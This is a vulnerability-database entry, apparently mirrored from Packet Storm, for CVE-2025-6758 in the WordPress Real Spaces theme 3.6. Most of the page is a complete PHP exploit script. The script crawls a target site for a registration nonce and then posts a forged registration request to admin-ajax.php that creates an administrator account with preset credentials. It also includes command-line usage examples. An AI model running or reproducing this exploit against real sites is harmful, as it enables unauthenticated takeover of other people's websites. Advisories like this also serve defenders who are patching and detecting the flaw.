Lucene search
K

📄 WordPress Real Spaces Properties Directory Theme 3.6 Missing Authorization

🗓️ 02 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 131 Views

Unauthenticated admin registration in Real Spaces Theme 3.6 due to authorization and nonce checks.

Related
Code
=============================================================================================================================================
    | # Title     : WordPress Real Spaces Properties Directory Theme 3.6 Unauthenticated Administrator Registration Vulnerability               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://themeforest.net/item/real-spaces-wordpress-real-estate-theme/8219779                                                |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-6758
    
                     https://packetstorm.news/files/id/210833/
    
                     https://wpscan.com/vulnerability/12347
    
    [+] Summary
       
        A critical security vulnerability exists in the Real Spaces Properties Directory Theme that allows unauthenticated attackers to register administrator accounts without any authentication. 
    	The vulnerability stems from improper nonce validation and missing authorization checks in the user registration functionality.
    
    
    [+] Usage: 
    
    Usage: php poc.php -u https://example.com
    
    [+] POC :
    
    <?php
    /**
     * CVE-2025-6758 Exploit
     * By: indoushka
     */
    
    class WPRegistrationExploit {
        private $defaultUsername = "indoushka";
        private $defaultPassword = "123456789";
        private $defaultEmail = "[email protected]";
        private $defaultPosition = "indoushkaadmin";
        private $defaultRole = "administrator";
        private $nonceRegex = '/registration_nonce"\s*:\s*"([^"]+)/';
        
        private $session;
        private $debug = false;
        
        public function __construct($debug = false) {
            $this->debug = $debug;
            $this->session = curl_init();
            curl_setopt_array($this->session, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_USERAGENT => "Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper",
                CURLOPT_TIMEOUT => 15,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_HTTPHEADER => [
                    "Accept: */*",
                    "X-Requested-With: XMLHttpRequest"
                ]
            ]);
        }
        
        public function __destruct() {
            if ($this->session) {
                curl_close($this->session);
            }
        }
        
        private function shortDelay($min = 0.4, $max = 1.0) {
            usleep(rand($min * 1000000, $max * 1000000));
        }
        
        private function log($message, $level = "INFO") {
            echo "[$level] $message\n";
        }
        
        private function fetchPage($url, $verifySSL = false) {
            curl_setopt_array($this->session, [
                CURLOPT_URL => $url,
                CURLOPT_HTTPGET => true,
                CURLOPT_POST => false,
                CURLOPT_SSL_VERIFYPEER => $verifySSL
            ]);
            
            $response = curl_exec($this->session);
            $httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
            
            if ($httpCode === 200 && $response) {
                return $response;
            }
            
            if ($this->debug) {
                $this->log("Fetch failed: $url - HTTP Code: $httpCode", "DEBUG");
            }
            
            return null;
        }
        
        private function extractNonceBS4($html) {
            // Simple DOM parsing without external libraries
            if (preg_match('/data-registration-nonce="([^"]+)"/', $html, $matches)) {
                return $matches[1];
            }
            
            if (preg_match('/<input[^>]*name="registration_nonce"[^>]*value="([^"]+)"/', $html, $matches)) {
                return $matches[1];
            }
            
            // Search in script tags
            if (preg_match_all('/<script[^>]*>(.*?)<\/script>/s', $html, $scriptMatches)) {
                foreach ($scriptMatches[1] as $scriptContent) {
                    if (preg_match($this->nonceRegex, $scriptContent, $matches)) {
                        return $matches[1];
                    }
                }
            }
            
            return null;
        }
        
        private function extractNonceRegex($html) {
            if (preg_match($this->nonceRegex, $html, $matches)) {
                return $matches[1];
            }
            return null;
        }
        
        private function findNoncesInJS($jsText) {
            preg_match_all($this->nonceRegex, $jsText, $matches);
            return $matches[1] ?? [];
        }
        
        private function collectLinks($baseUrl, $html) {
            $links = [];
            $baseParsed = parse_url($baseUrl);
            $baseHost = $baseParsed['host'] ?? '';
            
            // Extract anchor links
            preg_match_all('/<a[^>]+href="([^"]+)"/', $html, $anchorMatches);
            foreach ($anchorMatches[1] as $href) {
                if (strpos($href, 'mailto:') === 0 || strpos($href, 'tel:') === 0) {
                    continue;
                }
                
                $fullUrl = $this->joinUrls($baseUrl, $href);
                $parsed = parse_url($fullUrl);
                
                if (($parsed['host'] ?? '') === $baseHost) {
                    $cleanUrl = strtok($fullUrl, '#');
                    $links[$cleanUrl] = true;
                }
            }
            
            // Extract script sources
            preg_match_all('/<script[^>]+src="([^"]+)"/', $html, $scriptMatches);
            foreach ($scriptMatches[1] as $src) {
                $fullUrl = $this->joinUrls($baseUrl, $src);
                $links[$fullUrl] = true;
            }
            
            return array_keys($links);
        }
        
        private function joinUrls($base, $relative) {
            if (parse_url($relative, PHP_URL_SCHEME) !== null) {
                return $relative;
            }
            
            if ($relative[0] === '/') {
                $baseParsed = parse_url($base);
                return $baseParsed['scheme'] . '://' . $baseParsed['host'] . $relative;
            }
            
            return rtrim($base, '/') . '/' . ltrim($relative, '/');
        }
        
        public function scanLinksForNonce($startUrl, $maxPages = 25, $maxDepth = 2, $verifySSL = false) {
            $found = [];
            $seen = [];
            $toVisit = [[$startUrl, 0]];
            
            while (!empty($toVisit) && count($seen) < $maxPages) {
                list($url, $depth) = array_shift($toVisit);
                
                if (in_array($url, $seen)) {
                    continue;
                }
                
                $seen[] = $url;
                $this->shortDelay();
                
                $html = $this->fetchPage($url, $verifySSL);
                if (!$html) {
                    continue;
                }
                
                $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
                if ($nonce) {
                    $found[] = [$url, $nonce];
                }
                
                if ($depth < $maxDepth) {
                    $links = $this->collectLinks($url, $html);
                    foreach ($links as $link) {
                        if (!in_array($link, $seen)) {
                            $toVisit[] = [$link, $depth + 1];
                        }
                    }
                }
            }
            
            return $found;
        }
        
        public function searchCommonPathsForNonce($baseUrl, $verifySSL = false) {
            $candidates = [
                "register",
                "Register",
                "register/",
                "Register/",
                "wp-register.php",
                "wp-login.php?action=register",
                "wp-content/plugins/",
                "wp-content/themes/",
                "wp-register.php",
                "?page_id=1476",
                "wp-login.php",
            ];
            
            $found = [];
            
            foreach ($candidates as $path) {
                $tryUrl = $this->joinUrls($baseUrl, $path);
                $this->shortDelay();
                
                $html = $this->fetchPage($tryUrl, $verifySSL);
                if (!$html) {
                    continue;
                }
                
                $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
                if ($nonce) {
                    $found[] = [$tryUrl, $nonce];
                } else {
                    // Check JavaScript files
                    preg_match_all('/<script[^>]+src="([^"]+)"/', $html, $scriptMatches);
                    foreach ($scriptMatches[1] as $src) {
                        $jsUrl = $this->joinUrls($tryUrl, $src);
                        $this->shortDelay();
                        
                        $jsContent = $this->fetchPage($jsUrl, $verifySSL);
                        if ($jsContent) {
                            $nonces = $this->findNoncesInJS($jsContent);
                            foreach ($nonces as $n) {
                                $found[] = [$jsUrl, $n];
                            }
                        }
                    }
                }
            }
            
            return $found;
        }
        
        private function buildPayload($nonce, $username, $password, $email, $position, $role) {
            return [
                "action" => "imic_agent_register",
                "reg_nonce" => $nonce,
                "task" => "register",
                "role" => $role,
                "username" => $username,
                "position" => $position,
                "email" => $email,
                "pwd1" => $password,
                "pwd2" => $password,
            ];
        }
        
        private function performRegistration($ajaxUrl, $payload, $verifySSL = false) {
            $headers = [
                "User-Agent: Mozilla/5.0 (X11; Kali Linux) PHP/8.x helper",
                "Accept: */*",
                "X-Requested-With: XMLHttpRequest",
                "Referer: " . str_replace("wp-admin/admin-ajax.php", "register/", $ajaxUrl),
                "Content-Type: application/x-www-form-urlencoded"
            ];
            
            curl_setopt_array($this->session, [
                CURLOPT_URL => $ajaxUrl,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => http_build_query($payload),
                CURLOPT_HTTPHEADER => $headers,
                CURLOPT_SSL_VERIFYPEER => $verifySSL
            ]);
            
            $response = curl_exec($this->session);
            $httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
            
            if ($httpCode === 200 && $response) {
                return $response;
            }
            
            $this->log("POST failed: HTTP Code $httpCode", "ERROR");
            return null;
        }
        
        public function execute($args) {
            $baseUrl = $args['url'];
            if (!str_ends_with($baseUrl, '/')) {
                $baseUrl .= '/';
            }
            
            $results = [];
            
            // Try base URL first
            $startHtml = $this->fetchPage($baseUrl, $args['verify_ssl']);
            if ($startHtml) {
                $nonce = $this->extractNonceBS4($startHtml) ?: $this->extractNonceRegex($startHtml);
                if ($nonce) {
                    $results[] = [$baseUrl, $nonce];
                }
            }
            
            // Try page_id if no results
            if (empty($results)) {
                $pageIdUrl = $this->joinUrls($baseUrl, "?page_id=1476");
                $this->log("Auto-trying page_id path: $pageIdUrl", "DEBUG");
                $this->shortDelay();
                
                $html = $this->fetchPage($pageIdUrl, $args['verify_ssl']);
                if ($html) {
                    if ($this->debug) {
                        echo "\n--- HTML snippet from ?page_id=1476 (first 800 chars) ---\n";
                        echo substr($html, 0, 800) . "\n";
                        echo "--- end snippet ---\n\n";
                    }
                    
                    $nonce = $this->extractNonceBS4($html) ?: $this->extractNonceRegex($html);
                    if ($nonce) {
                        $results[] = [$pageIdUrl, $nonce];
                    }
                }
            }
            
            // Scan links if still no results
            if (empty($results)) {
                $linkResults = $this->scanLinksForNonce(
                    $baseUrl, 
                    $args['max_pages'], 
                    $args['max_depth'], 
                    $args['verify_ssl']
                );
                $results = array_merge($results, $linkResults);
            }
            
            // Scan common paths if enabled and still no results
            if ($args['scan_common_paths'] && empty($results)) {
                $commonResults = $this->searchCommonPathsForNonce($baseUrl, $args['verify_ssl']);
                $results = array_merge($results, $commonResults);
            }
            
            if (empty($results)) {
                $this->log("No registration_nonce values found. Provide a specific registration URL or increase scan options.", "ERROR");
                $this->log("Tip: try --scan-common-paths or --debug to print HTML snippets for inspection.", "INFO");
                return;
            }
            
            $this->log("Nonces found: " . count($results), "INFO");
            
            list($nonceSource, $nonceValue) = $results[0];
            $this->log("Using nonce from: $nonceSource", "INFO");
            
            $payload = $this->buildPayload(
                $nonceValue,
                $args['username'],
                $args['password'],
                $args['email'],
                $args['position'],
                $args['role']
            );
            
            $ajaxUrl = $this->joinUrls($baseUrl, $args['ajax_path']);
            $this->shortDelay(0.6, 1.2);
            
            $response = $this->performRegistration($ajaxUrl, $payload, $args['verify_ssl']);
            if (!$response) {
                $this->log("No response or POST failure.", "ERROR");
                return;
            }
            
            // Parse response
            $success = false;
            $message = '';
            
            if (preg_match('/<div[^>]*class=["\']?[^"\'>]*alert-success[^"\'>]*["\']?[^>]*>(.*?)<\/div>/is', $response, $matches)) {
                $message = strip_tags($matches[1]);
                $message = html_entity_decode($message);
                
                if (stripos($message, 'success') !== false || stripos($message, 'successfully') !== false) {
                    $success = true;
                }
            }
            
            if ($success) {
                echo "[+] Exploitation successful.\n";
                echo "[+] Server message: $message\n";
                echo "[+] Username: " . $args['username'] . "\n";
                echo "[+] Password: " . $args['password'] . "\n";
                echo "[+] Email: " . $args['email'] . "\n";
                echo "[+] Role: " . $args['role'] . "\n";
            } else {
                echo "[!] Registration POST completed. Server response:\n";
                echo substr($response, 0, 1000) . "\n";
            }
            
            // Save results if requested
            if (!empty($args['save_json'])) {
                $report = [
                    'total' => count($results),
                    'details' => []
                ];
                
                $seenValues = [];
                foreach ($results as list($src, $nonce)) {
                    $unique = !in_array($nonce, $seenValues);
                    $seenValues[] = $nonce;
                    $report['details'][] = [
                        'source' => $src,
                        'nonce' => $nonce,
                        'unique' => $unique
                    ];
                }
                
                if (file_put_contents($args['save_json'], json_encode($report, JSON_PRETTY_PRINT)) !== false) {
                    $this->log("Results saved to " . $args['save_json'], "INFO");
                } else {
                    $this->log("Failed to save JSON: " . $args['save_json'], "ERROR");
                }
            }
        }
    }
    
    // Command line interface
    if (php_sapi_name() === 'cli') {
        $options = getopt("u:", [
            "url:",
            "username:",
            "password:",
            "email:",
            "position:",
            "role:",
            "max-pages:",
            "max-depth:",
            "scan-common-paths",
            "ajax-path:",
            "verify-ssl",
            "save-json:",
            "debug",
            "help"
        ]);
        
        if (isset($options['help']) || !isset($options['url'])) {
            echo "CVE-2025-6758 Exploit - WordPress Registration Vulnerability\n";
            echo "Usage: php exploit.php -u <url> [options]\n\n";
            echo "Options:\n";
            echo "  -u, --url              Base URL to scan (required)\n";
            echo "  --username             Username to register (default: indoushka)\n";
            echo "  --password             Password to register (default: 123456789)\n";
            echo "  --email                Email to register (default: [email protected])\n";
            echo "  --position             Position value (default: indoushkaadmin)\n";
            echo "  --role                 Role value (default: administrator)\n";
            echo "  --max-pages            Maximum pages to visit when crawling (default: 30)\n";
            echo "  --max-depth            Maximum crawl depth (default: 2)\n";
            echo "  --scan-common-paths    Scan common register/plugin/theme paths\n";
            echo "  --ajax-path            AJAX endpoint path (default: wp-admin/admin-ajax.php)\n";
            echo "  --verify-ssl           Verify SSL certificates\n";
            echo "  --save-json            Save results as JSON file\n";
            echo "  --debug                Enable debug logging\n";
            echo "  --help                 Show this help\n\n";
            echo "Examples:\n";
            echo "  php exploit.php -u https://example.com\n";
            echo "  php exploit.php -u https://example.com --debug --scan-common-paths\n";
            echo "  php exploit.php -u https://example.com --username admin --role administrator\n";
            exit(0);
        }
        
        $args = [
            'url' => $options['u'] ?? $options['url'],
            'username' => $options['username'] ?? 'indoushka',
            'password' => $options['password'] ?? '123456789',
            'email' => $options['email'] ?? '[email protected]',
            'position' => $options['position'] ?? 'indoushkaadmin',
            'role' => $options['role'] ?? 'administrator',
            'max_pages' => $options['max-pages'] ?? 30,
            'max_depth' => $options['max-depth'] ?? 2,
            'scan_common_paths' => isset($options['scan-common-paths']),
            'ajax_path' => $options['ajax-path'] ?? 'wp-admin/admin-ajax.php',
            'verify_ssl' => isset($options['verify-ssl']),
            'save_json' => $options['save-json'] ?? '',
            'debug' => isset($options['debug'])
        ];
        
        $exploit = new WPRegistrationExploit($args['debug']);
        $exploit->execute($args);
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
EPSS0.00304
SSVC
131